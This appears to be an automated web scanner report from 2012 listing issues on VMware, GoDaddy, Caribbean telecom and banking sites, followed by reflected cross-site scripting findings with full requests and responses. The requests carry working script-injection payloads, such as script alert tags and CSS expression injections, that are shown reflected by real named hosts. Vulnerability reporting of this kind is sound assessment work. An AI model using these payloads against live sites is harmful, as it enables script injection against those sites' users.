13.253. http://www.vmware.com/solutions/smb/how-to-buy.html

13.254. http://www.vmware.com/support/

13.255. http://www.vmware.com/support/contacts/

13.256. http://www.vmware.com/support/licensing/

13.257. http://www.vmware.com/support/policies/index/

13.258. http://www.vmware.com/support/product-support/

13.259. http://www.vmware.com/support/product-support/acquisitions/

13.260. http://www.vmware.com/support/product-support/fusion/

13.261. http://www.vmware.com/support/product-support/server.html

13.262. http://www.vmware.com/support/product-support/vcloud-director.html

13.263. http://www.vmware.com/support/product-support/vi3.html

13.264. http://www.vmware.com/support/product-support/view.html

13.265. http://www.vmware.com/support/product-support/vsphere-hypervisor.html

13.266. http://www.vmware.com/support/product-support/workstation.html

13.267. http://www.vmware.com/support/services/basic.html

13.268. http://www.vmware.com/support/services/incident.html

13.269. http://www.vmware.com/support/services/index.html

13.270. http://www.vmware.com/support/services/production.html

13.271. http://www.vmware.com/support/us_support.html

13.272. http://www.vmware.com/technical-resources/

13.273. http://www.vmware.com/technical-resources/advantages/

13.274. http://www.vmware.com/tw/

13.275. http://www.vmware.com/uk/

13.276. http://www.vmware.com/virtualization/

13.277. http://www.vmware.com/virtualization/green-it/greengrid.html

13.278. http://www.vmware.com/virtualization/green-it/pc.html

13.279. http://www.vmware.com/virtualization/why-choose-vmware.html

13.280. http://www.vmware.com/virtualization/why-choose-vmware/

13.281. http://www.vmware.com/virtualization/why-choose-vmware/best-virtualization-platform/virtualization-leader.html

13.282. http://www.vmware.com/virtualization/why-choose-vmware/better-security-for-your-cloud/simplified-security.html

13.283. http://www.vmware.com/virtualization/why-choose-vmware/more-choice-for-your-cloud/pragmatic-aproach.html

13.284. http://www.vmware.com/vmwarestore/

13.285. http://www.vmware.com/vmwarestore/online-partners.html

13.286. http://www.vmware.com/worldwide.html

13.287. https://www.vmware.com/

13.288. https://www.vmware.com/chat-contact.html

13.289. https://www.vmware.com/contact/contact_sales.html

13.290. https://www.vmware.com/products/vsphere/buy/overview.html

13.291. https://www.vmware.com/products/vsphere/purchase-advisor/

13.292. https://www.vmware.com/products/vsphere/upgrade-center/licensing.html

13.293. https://www.vmware.com/solutions/business-critical-apps/

13.294. https://www.vmware.com/try-vmware/

13.295. http://www.webveteran.com/

13.296. http://www.youtube.com/embed/videoseries

13.297. http://www.yuiblog.com/blog/2010/09/27/clearfix-reloaded-overflowhidden-demystified

14. HTTP TRACE method is enabled

14.1. http://877geeksonsite.com/

14.2. http://www.columbusnetworks.com/

14.3. http://www.flowjamaica.com/

15. Email addresses disclosed

15.1. https://auctions.godaddy.com/

15.2. http://columbuscommunications.com/index.php/carreers-footer/sitemap

15.3. http://columbuscommunications.com/index.php/carreers-footer/sitemap/mef-certified

15.4. http://columbuscommunications.com/index.php/columbus-companies-2

15.5. http://columbuscommunications.com/index.php/columbus-companies-2/columbus-business-solutions

15.6. http://columbuscommunications.com/index.php/columbus-companies-2/columbus-international

15.7. http://columbuscommunications.com/index.php/columbus-companies-2/columbus-networks

15.8. http://columbuscommunications.com/index.php/columbus-companies-2/flow-curacao

15.9. http://columbuscommunications.com/index.php/columbus-companies-2/flow-jamaica

15.10. http://columbuscommunications.com/index.php/columbus-companies-2/flow-trinidad

15.11. http://columbuscommunications.com/index.php/company-profile-3

15.12. http://columbuscommunications.com/index.php/company-profile-3/our-commitment-to-give-back

15.13. http://columbuscommunications.com/index.php/company-profile-3/our-milestones

15.14. http://columbuscommunications.com/index.php/company-profile-3/our-network

15.15. http://columbuscommunications.com/index.php/company-profile-3/our-people

15.16. http://columbuscommunications.com/index.php/contact-us-2/our-locations

15.17. http://columbuscommunications.com/index.php/our-commitment-to-give-back

15.18. http://columbuscommunications.com/index.php/our-milestones

15.19. http://columbuscommunications.com/index.php/our-network

15.20. http://columbuscommunications.com/index.php/our-network/our-wholesale-network

15.21. http://columbuscommunications.com/index.php/our-network/retail-network

15.22. http://columbuscommunications.com/index.php/our-news

15.23. http://columbuscommunications.com/index.php/our-news/84-revised-digital-basic-cable-rates-from-march

15.24. http://columbuscommunications.com/index.php/our-news/86-columbus-communications-inc-reveals-its-new-logo

15.25. http://columbuscommunications.com/index.php/our-people/columbus-communications-people

15.26. http://columbuscommunications.com/index.php/our-people/columbus-communications-people/andre-foster

15.27. http://columbuscommunications.com/index.php/our-people/columbus-communications-people/darren-richer

15.28. http://columbuscommunications.com/index.php/our-people/columbus-communications-people/john-reid

15.29. http://columbuscommunications.com/index.php/our-people/columbus-international-people/brendan-paddick

15.30. http://columbuscommunications.com/index.php/our-people/columbus-international-people/elizabeth-mcewen

15.31. http://columbuscommunications.com/index.php/our-people/columbus-international-people/maxwell-parsons

15.32. http://columbuscommunications.com/index.php/our-people/columbus-international-people/rphugh

15.33. http://columbuscommunications.com/index.php/our-people/columbus-networks-people

15.34. http://columbuscommunications.com/index.php/our-people/columbus-networks-people/dexter-cartwright

15.35. http://columbuscommunications.com/index.php/our-people/columbus-networks-people/eduardogandarilla

15.36. http://columbuscommunications.com/index.php/our-people/columbus-networks-people/paul-scott

15.37. http://columbuscommunications.com/index.php/our-people/columbus-networks-people/petercollins

15.38. http://columbuscommunications.com/index.php/our-people/corporate-governance

15.39. http://columbuscommunications.com/index.php/our-people/corporate-governance/brendan-paddick

15.40. http://columbuscommunications.com/index.php/our-people/corporate-governance/joe-vescio

15.41. http://columbuscommunications.com/index.php/our-people/corporate-governance/john-risley

15.42. http://columbuscommunications.com/index.php/our-people/corporate-governance/kip-thompson

15.43. http://columbuscommunications.com/index.php/our-people/flow-people

15.44. http://columbuscommunications.com/index.php/our-people/flow-people/brian-collins

15.45. http://columbuscommunications.com/index.php/our-people/flow-people/gail-purcell

15.46. http://columbuscommunications.com/index.php/our-people/flow-people/ian-serrao

15.47. http://columbuscommunications.com/index.php/our-people/flow-people/michele-english

15.48. http://columbuscommunications.com/index.php/our-story

15.49. http://columbuscommunications.com/index.php/products-a-services-2

15.50. http://columbuscommunications.com/index.php/products-a-services-2/business-solutions

15.51. http://columbuscommunications.com/index.php/products-a-services-2/click

15.52. http://columbuscommunications.com/index.php/products-a-services-2/talk

15.53. http://columbuscommunications.com/index.php/products-a-services-2/watch

15.54. http://columbuscommunications.com/index.php/talk

15.55. http://columbuscommunications.com/index.php/watch

15.56. http://communities.vmware.com/4.0.13/resources/scripts/gen/9f09b47b4ecd8e730d371308d1f94b6f.js

15.57. http://communities.vmware.com/themes/custom/scripts/vmware.js

15.58. http://fancybox.net/

15.59. http://gsgd.co.uk/sandbox/jquery/easing/

15.60. https://jm.rbttnetbank.com/

15.61. http://lokeshdhakar.com/projects/lightbox2/

15.62. http://mir.aculo.us/

15.63. https://my.vmware.com/files/templates/inc/s_code_my.js

15.64. https://my.vmware.com/files/templates/inc/s_config.js

15.65. https://my.vmware.com/vmf/m/base/1.0/jquery.accessibleTooltip.js

15.66. https://my.vmware.com/vmf/m/base/1.0/jquery.cookie.1.0.js

15.67. https://my.vmware.com/web/vmware/evalcenter

15.68. https://my.vmware.com/web/vmware/forgot-password

15.69. https://my.vmware.com/web/vmware/login

15.70. https://my.vmware.com/web/vmware/login-education

15.71. https://my.vmware.com/web/vmware/login-partners

15.72. https://my.vmware.com/web/vmware/registration

15.73. https://my.vmware.com/web/vmware/terms-of-use

15.74. https://myaccount.flowja.com/

15.75. https://myaccount.flowja.com/java/scriptaculous/controls.js

15.76. http://mylearn.vmware.com/contact.cfm

15.77. http://mylearn.vmware.com/ilearn/MgrReg/faq.cfm

15.78. http://mylearn.vmware.com/portals/certification/faqs.cfm

15.79. http://mylearn.vmware.com/portals/credits/

15.80. http://mylearn.vmware.com/portals/engineering/

15.81. http://mylearn.vmware.com/portals/gsssrt/

15.82. https://mylearnssl.vmware.com/remember.cfm

15.83. http://partnerlocator.vmware.com/resource/1330031200000/VMwareResources/js/jquery-tooltip/lib/jquery.bgiframe.js

15.84. http://partnerlocator.vmware.com/resource/1330031200000/VMwareResources/js/jquery-tooltip/lib/jquery.dimensions.js

15.85. http://productselector.vmware.com/Scripts/jqModal.js

15.86. http://search.vmware.com/common.js

15.87. http://search.vmware.com/uri.js

15.88. http://services.igloocommunities.com/download/lib/community/igloo/universal/getstarted/getstartedjs

15.89. http://videos.godaddy.com/danica-media.aspx

15.90. http://videos.godaddy.com/super-bowl-commercials.aspx

15.91. http://w.sharethis.com/share4x/js/st.0295da88d7cd4ebba4da2096204c2cf3.js

15.92. http://webspace.flowja.com/

15.93. http://ws.sharethis.com/button/buttons.js

15.94. http://www.cellsignalsolutions.com/free-quote.php

15.95. http://www.cloudfoundry.com/javascripts/bundles/main/1334022467.js

15.96. http://www.cloudfoundry.com/partners

15.97. http://www.columbus-business.com/countries/columbusjamaica/

15.98. http://www.columbus-networks.com/ContactUs.html

15.99. http://www.columbus-networks.com/data.xml

15.100. http://www.columbusnetworks.com/

15.101. http://www.columbusnetworks.com/index.phtml

15.102. http://www.flowjamaica.com/index.php

15.103. http://www.flowjamaica.com/modules/moo_faq/mootools.js

15.104. http://www.gnu.org/licenses/gpl.html

15.105. http://www.godaddy.com/

15.106. http://www.godaddy.com/agreements/ShowDoc.aspx

15.107. http://www.godaddy.com/domains/search.aspx

15.108. http://www.godaddy.com/ecommerce/shopping-cart.aspx

15.109. http://www.godaddy.com/email/email-hosting.aspx

15.110. http://www.godaddy.com/hosting/website-builder.aspx

15.111. http://www.godaddy.com/ssl/ssl-certificates.aspx

15.112. http://www.godaddy.com/tlds/co-domain.aspx

15.113. http://www.google.com/calendar/embed

15.114. http://www.igloosoftware.com/

15.115. http://www.igloosoftware.com/free

15.116. http://www.igloosoftware.com/howtobuy

15.117. http://www.igloosoftware.com/resources

15.118. http://www.igloosoftware.com/solutions

15.119. http://www.igloosoftware.com/solutions/features

15.120. http://www.igloosoftware.com/try_igloo

15.121. http://www.live.symantecbtob.webcollage.net/_wc/default-defs/resources/compoundJs/v3/cr.js

15.122. http://www.live.symantecbtob.webcollage.net/server/supremecomputingservicesco/symantecbtob-showcase/httpb

15.123. http://www.opensource.org/licenses/mit-license.php

15.124. http://www.supremecomputing.com/

15.125. http://www.supremecomputing.com/Default.aspx

15.126. http://www.supremecomputing.net/

15.127. http://www.supremecomputing.net/HK/

15.128. http://www.supremecomputing.net/HK/Default.aspx

15.129. http://www.vmware.com/br/

15.130. http://www.vmware.com/company/contact/

15.131. http://www.vmware.com/company/mediaresource/index.html

15.132. http://www.vmware.com/cz/

15.133. http://www.vmware.com/files/include/jcarousellite.js

15.134. http://www.vmware.com/files/include/jquery.innerfade.js

15.135. http://www.vmware.com/files/include/vmf/plugin/jquery.cookie.1.0.js

15.136. http://www.vmware.com/files/templates/inc/s_code.js

15.137. http://www.vmware.com/files/templates/inc/s_code_gsa.js

15.138. http://www.vmware.com/files/templates/inc/s_code_vmw.js

15.139. http://www.vmware.com/files/templates/inc/s_config.js

15.140. http://www.vmware.com/files/templates/inc/s_config_gsa.js

15.141. http://www.vmware.com/files/templates/inc/tracking.js

15.142. http://www.vmware.com/help/legal.html

15.143. http://www.vmware.com/help/privacy.html

15.144. http://www.vmware.com/pl/

15.145. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect-update-catalog/overview.html

15.146. http://www.vmware.com/products/datacenter-virtualization/vcenter-protect/overview.html

15.147. http://www.vmware.com/se/

15.148. http://www.vmware.com/solutions/partners/vmware-solution-exchange.html

15.149. http://www.vmware.com/virtualization/green-it/greengrid.html

15.150. https://www.vmware.com/files/include/vmf/plugin/jquery.cookie.1.0.js

15.151. https://www.vmware.com/files/templates/inc/s_code.js

15.152. https://www.vmware.com/files/templates/inc/s_code_vmw.js

15.153. https://www.vmware.com/files/templates/inc/s_config.js

16. Private IP addresses disclosed

16.1. http://boxover.swazz.org/

16.2. https://my.vmware.com/gsa/search

16.3. http://search.vmware.com/search

16.4. http://www.educationdegreesource.com/request_form.php

16.5. https://www.vmware.com/support/vsphere5/doc/vsphere-update-manager-50-release-notes.html

17. Credit card numbers disclosed

18. Robots.txt file

18.1. http://960.gs/

18.2. https://ajax.googleapis.com/ajax/libs/dojo/1.5/dojo/dojo.xd.js

18.3. https://auctions.godaddy.com/

18.4. http://blog.deconcept.com/swfobject/

18.5. http://pagead2.googlesyndication.com/apps/domainpark/show_afd_ads.js

18.6. http://www.columbusnetworks.co/

18.7. http://www.columbusnetworks.com/favicon.ico

18.8. http://www.flowjamaica.com/index.php

18.9. http://www.google-analytics.com/ga.js

19. Cacheable HTTPS response

19.1. https://auctions.godaddy.com/

19.2. https://internetbanking.firstcaribbeanbank.com/

19.3. https://jm.rbttnetbank.com/

19.4. https://my.vmware.com/communities_rest_api/tagCloudService/tagCloud

19.5. https://my.vmware.com/gsa/search

19.6. https://my.vmware.com/html/js/barebone.jsp

19.7. https://my.vmware.com/web/vmware/evalcenter

19.8. https://my.vmware.com/web/vmware/forgot-password

19.9. https://my.vmware.com/web/vmware/login

19.10. https://my.vmware.com/web/vmware/login-education

19.11. https://my.vmware.com/web/vmware/login-partners

19.12. https://my.vmware.com/web/vmware/registration

19.13. https://my.vmware.com/web/vmware/terms-of-use

19.14. https://mylearn.vmware.com/portals/www/search/results.cfm

19.15. https://mylearnssl.vmware.com/

19.16. https://mylearnssl.vmware.com/index.cfm

19.17. https://mylearnssl.vmware.com/white.htm

19.18. https://www.ncbelink.com/

19.19. https://www.vmware.com/

19.20. https://www.vmware.com/chat-contact.html

19.21. https://www.vmware.com/contact/contact_sales.html

19.22. https://www.vmware.com/products/vsphere/buy/overview.html

19.23. https://www.vmware.com/products/vsphere/purchase-advisor/

19.24. https://www.vmware.com/products/vsphere/upgrade-center/licensing.html

19.25. https://www.vmware.com/sat/publish/my.vmware.com/2a7d7ae32524c1abf62ce2d59b1acca6.js

19.26. https://www.vmware.com/sat/publish/my.vmware.com/99574e61aa0bb05425ce081997be0f7d.js

19.27. https://www.vmware.com/sat/publish/my.vmware.com/bc1462cb9f6fd25a9afd0562c87c9c01.js

19.28. https://www.vmware.com/sat/publish/www.vmware.com/0b6a557a70486e8f237ad063f45aad8d.js

19.29. https://www.vmware.com/solutions/business-critical-apps/

19.30. https://www.vmware.com/try-vmware/

20. HTML does not specify charset

20.1. https://63.209.224.2/cgi-bin/webcgi/css/iepngfix.htc

20.2. http://960.gs/

20.3. https://jm.rbttnetbank.com/

20.4. http://jscrollpane.kelvinluck.com/

20.5. http://lokeshdhakar.com/projects/lightbox2/

20.6. https://my.vmware.com/gsa/search

20.7. https://mylearnssl.vmware.com/

20.8. http://platform.twitter.com/widgets/follow_button.1335513764.html

20.9. http://platform.twitter.com/widgets/tweet_button.1335513764.html

20.10. http://view.atdmt.com/iaction/adoapn_AppNexusDemoActionTag_1

20.11. https://www.vmware.com/download/eula/myvmware_tou.htmlf

21. HTML uses unrecognized charset

22. Content type incorrectly stated

22.1. https://63.209.224.2/cgi-bin/webcgi/css/iepngfix.htc

22.2. http://columbuscommunications.com/index.php/component/search/

22.3. http://domains.googlesyndication.com/domainads/search

22.4. http://ethn.io/remotes/22422

22.5. http://ethn.io/remotes/29907

22.6. http://ethn.io/remotes/80207

22.7. http://gis2.livechatinc.com/gis.cgi

22.8. http://mootools.net/license.txt

22.9. https://my.vmware.com/web/vmware/login

22.10. https://my.vmware.com/web/vmware/registration

22.11. http://productselector.vmware.com/en/PS/UpdateVisitorAnswer

22.12. http://www.flowjamaica.com/modules/mod_flowpromos/feeder.php

23. Content type is not specified

24. SSL certificate

24.1. https://ajax.googleapis.com/

24.2. https://auctions.godaddy.com/


1. Cross-site scripting (reflected)
Next

There are 67 instances of this issue:

1.1. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks [REST URL parameter 3]
Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://877geeksonsite.com
Path:   /locations/states/virginia-va/wireless-networks

Request

GET /locations/states/virginia-va2d324"><script>alert(1)</script>8eaa064f736/wireless-networks?utm_source=google&utm_medium=content&utm_adgroup=VA-NetworkSetup-Wireless&utm_campaign=GeeksContent-Virginia&client=ca-dp-godaddy2_xml HTTP/1.1
Host: 877geeksonsite.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:08:43 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=1c1086eb829642f15fbb507b68bd641b; path=/
Cache-Control: max-age=1, private, must-revalidate
Content-Length: 30686
Connection: close
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   
...[SNIP]...
<a href="http://877geeksonsite.com/locations/states/virginia-va2d324"><script>alert(1)</script>8eaa064f736/computer-repair">
...[SNIP]...
1.2. http://877geeksonsite.com/locations/states/virginia-va/wireless-networks [REST URL parameter 4]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   http://877geeksonsite.com
Path:   /locations/states/virginia-va/wireless-networks

Request

GET /locations/states/virginia-va/wireless-networks9b9d8"><a>f419027bde?utm_source=google&utm_medium=content&utm_adgroup=VA-NetworkSetup-Wireless&utm_campaign=GeeksContent-Virginia&client=ca-dp-godaddy2_xml HTTP/1.1
Host: 877geeksonsite.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:08:44 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.3.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=737136a4467a118e645e655d2590526e; path=/
Cache-Control: max-age=1, private, must-revalidate
Connection: close
Content-Type: text/html
Content-Length: 30478


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   
...[SNIP]...
<meta name="keywords" content="Virginia Wireless Networks9b9d8"><a>f419027bde VA, VA Wireless Networks9b9d8">
...[SNIP]...
1.3. http://adomas.org/javascript-mouse-wheel/ [REST URL parameter 1]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adomas.org
Path:   /javascript-mouse-wheel/

Request

GET /javascript-mouse-wheel6691d"><script>alert(1)</script>d83f2e19a30/ HTTP/1.1
Host: adomas.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: redir-httpd
Date: Tue, 01 May 2012 00:08:35 GMT
Location: http://www.adomas.org/javascript-mouse-wheel6691d"><script>alert(1)</script>d83f2e19a30/
Last-Modified: Mon, 30 Apr 2012 22:05:31 GMT
Content-Length: 247
Content-Type: text/html; charset=utf-8

<html><body>You are now redirected to<br><a href="http://www.adomas.org/javascript-mouse-wheel6691d"><script>alert(1)</script>d83f2e19a30/">http://www.adomas.org/javascript-mouse-wheel6691d"><script>a
...[SNIP]...
1.4. http://adomas.org/javascript-mouse-wheel/ [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adomas.org
Path:   /javascript-mouse-wheel/

Request

GET /javascript-mouse-wheel/?933d5"><script>alert(1)</script>302faa597be=1 HTTP/1.1
Host: adomas.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 301 Moved Permanently
Server: redir-httpd
Date: Tue, 01 May 2012 00:08:31 GMT
Location: http://www.adomas.org/javascript-mouse-wheel/?933d5"><script>alert(1)</script>302faa597be=1
Last-Modified: Mon, 30 Apr 2012 22:05:31 GMT
Content-Length: 253
Content-Type: text/html; charset=utf-8

<html><body>You are now redirected to<br><a href="http://www.adomas.org/javascript-mouse-wheel/?933d5"><script>alert(1)</script>302faa597be=1">http://www.adomas.org/javascript-mouse-wheel/?933d5"><scr
...[SNIP]...
1.5. https://auctions.godaddy.com/ [Referer HTTP header]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://auctions.godaddy.com
Path:   /

Request

GET / HTTP/1.1
Host: auctions.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=cefac--><script>alert(1)</script>942761a1a20

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 150501
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=0fwgokfzgcwyucy3xxka4v55; path=/; HttpOnly
Set-Cookie: PCSplitValue1=3; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=http://www.google.com/search?hl=en&q=cefac--><script>alert(1)</script>942761a1a20&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=M1PWTDNAMWEB004&status=200 OK&querystring=&shopper=&privatelabelid=1&isc=&clientip=174.36.218.2&referringpath=; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
Date: Tue, 01 May 2012 00:09:22 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- pageok Ending Soon -->
<html xmlns="http://www.w3.org/1999/xhtml">
   
...[SNIP]...
<!-- WEB004 [1] http://www.google.com/search?hl=en&q=cefac--><script>alert(1)</script>942761a1a20 [2] False [3] [4] [5] [6] [7] 0fwgokfzgcwyucy3xxka4v55 [8] [9] -2 [10] False -->
...[SNIP]...
1.6. https://auctions.godaddy.com/ [isc parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://auctions.godaddy.com
Path:   /

Request

GET /?isc=gppt02J007bc87e"style%3d"x%3aexpression(alert(1))"574a2df1e3f&domain=columbusnetworks.co HTTP/1.1
Host: auctions.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 151188
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: isc=gppt02J007bc87e"style="x:expression(alert(1))"574a2df1e3f; domain=.godaddy.com; path=/
Set-Cookie: ASP.NET_SessionId=c0thxg45leoq10553xpgpneq; path=/; HttpOnly
Set-Cookie: PCSplitValue1=4; domain=godaddy.com; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=auctions.godaddy.com&page=/trpHome.aspx&server=M1PWTDNAMWEB004&status=200 OK&querystring=isc=gppt02J007bc87e%22style%3d%22x%3aexpression(alert(1))%22574a2df1e3f&domain=columbusnetworks.co&shopper=&privatelabelid=1&isc=gppt02J007bc87e"style="x:expression(alert(1))"574a2df1e3f&clientip=174.36.218.2&referringpath=; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
Date: Tue, 01 May 2012 00:08:46 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- pageok Ending Soon -->
<html xmlns="http://www.w3.org/1999/xhtml">
   
...[SNIP]...
<form id="availForm" method="post" action="https://www.godaddy.com/gdshop/registrar/search.asp?se=%2B&isc=gppt02J007bc87e"style="x:expression(alert(1))"574a2df1e3f" style="display:none;">
...[SNIP]...
1.7. http://chat1e.livechatinc.com/licence/1044091/script_data.js [REST URL parameter 2]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   http://chat1e.livechatinc.com
Path:   /licence/1044091/script_data.js

Request

GET /licence/1044091%005476b<a>19597185bf8/script_data.js HTTP/1.1
Host: chat1e.livechatinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-type: application/x-javascript;
Set-Cookie: __livechat=lc_session%3DS1335440163.327aee9d9b%26lc_last_visit%3D1335830934%26lc_visit_number%3D3%26lc_page_view%3D11%26lc_nick%3D%2524%26lc_lang%3Den%26lc_chat_number%3D0%26lc_all_invitation%3D0%26lc_ok_invitation%3D0%26lc_last_operator_id%3D%2524%26lc_client_version%3D%2524%26lc_last_conference_id%3D%24%26lc_integration_params%3D%2524; expires=Thu, 01-May-2014 02:08:54 GMT; path=/licence/1044091%005476b<a>19597185bf8; domain=.livechatinc.com; HttpOnly
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Length: 657
Connection: Keep-Alive

%24({"invitation":{"align":"left","x":"250","y":"50","image":"/server/gfx/invite_en.gif"},"visitor":{"nick":"$","hostname":"$","last_visit":"1335824848","session":"S1335440163.327aee9d9b","page_view":"11","visit_number":"3","chat_number":"0","all_invitation":"0","ok_invitation":"0","last_operator_id":"$","client_version":"$","params":"$","groups":"0"},"lic":"1044091%005476b<a>19597185bf8","serv":"chat1e.livechatinc.com","analytics_id":"","status":"1","redirect_url":"chat1e.livechatinc.com/licence/1044091%005476b<a>
...[SNIP]...
1.8. http://chat1e.livechatinc.com/licence/1044091/script_data.js [jsonp parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Firm
Host:   http://chat1e.livechatinc.com
Path:   /licence/1044091/script_data.js

Request

GET /licence/1044091/script_data.js?groups=0&t=1335824791972&referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&url=http%3A%2F%2Fwww.flowjamaica.com%2Findex.php%3Foption%3Dcom_content%26task%3Dview%26id%3D60%26Itemid%3D192&params=&jsonp=__lc_datad27e0(a)af955e80a9f HTTP/1.1
Host: chat1e.livechatinc.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.flowjamaica.com/index.php?option=com_content&task=view&id=60&Itemid=192
Cookie: __livechat=lc_session%3DS1335440163.327aee9d9b%26lc_last_visit%3D1335440614%26lc_visit_number%3D1%26lc_page_view%3D6%26lc_nick%3D%2524%26lc_lang%3Den%26lc_chat_number%3D0%26lc_all_invitation%3D0%26lc_ok_invitation%3D0%26lc_last_operator_id%3D%2524%26lc_client_version%3D%2524%26lc_last_conference_id%3D%24%26lc_integration_params%3D%2524

Response

HTTP/1.1 200 OK
Content-type: application/x-javascript;
Set-Cookie: __livechat=lc_session%3DS1335440163.327aee9d9b%26lc_last_visit%3D1335830960%26lc_visit_number%3D3%26lc_page_view%3D11%26lc_nick%3D%2524%26lc_lang%3Den%26lc_chat_number%3D0%26lc_all_invitation%3D0%26lc_ok_invitation%3D0%26lc_last_operator_id%3D%2524%26lc_client_version%3D%2524%26lc_last_conference_id%3D%24%26lc_integration_params%3D%2524; expires=Thu, 01-May-2014 02:09:20 GMT; path=/licence/1044091; domain=.livechatinc.com; HttpOnly
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Length: 926
Connection: Keep-Alive

__lc_datad27e0(a)af955e80a9f({"invitation":{"align":"centered","x":"0","y":"0","image":"/licence/1044091/gfx/invite_en.gif"},"visitor":{"nick":"$","hostname":"$","last_visit":"1335824848","session":"S1335440163.327aee9d9b","page_
...[SNIP]...
1.9. http://chat1e.livechatinc.com/licence/1044091/script_data.js [name of an arbitrarily supplied request parameter]
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://chat1e.livechatinc.com
Path:   /licence/1044091/script_data.js

Request

GET /licence/1044091/script_data.js?63ef4<script>alert(1)</script>3b8490f0722=1 HTTP/1.1
Host: chat1e.livechatinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-type: application/x-javascript;
Set-Cookie: __livechat=lc_session%3DS1335440163.327aee9d9b%26lc_last_visit%3D1335830931%26lc_visit_number%3D3%26lc_page_view%3D11%26lc_nick%3D%2524%26lc_lang%3Den%26lc_chat_number%3D0%26lc_all_invitation%3D0%26lc_ok_invitation%3D0%26lc_last_operator_id%3D%2524%26lc_client_version%3D%2524%26lc_last_conference_id%3D%24%26lc_integration_params%3D%2524; expires=Thu, 01-May-2014 02:08:51 GMT; path=/licence/1044091; domain=.livechatinc.com; HttpOnly
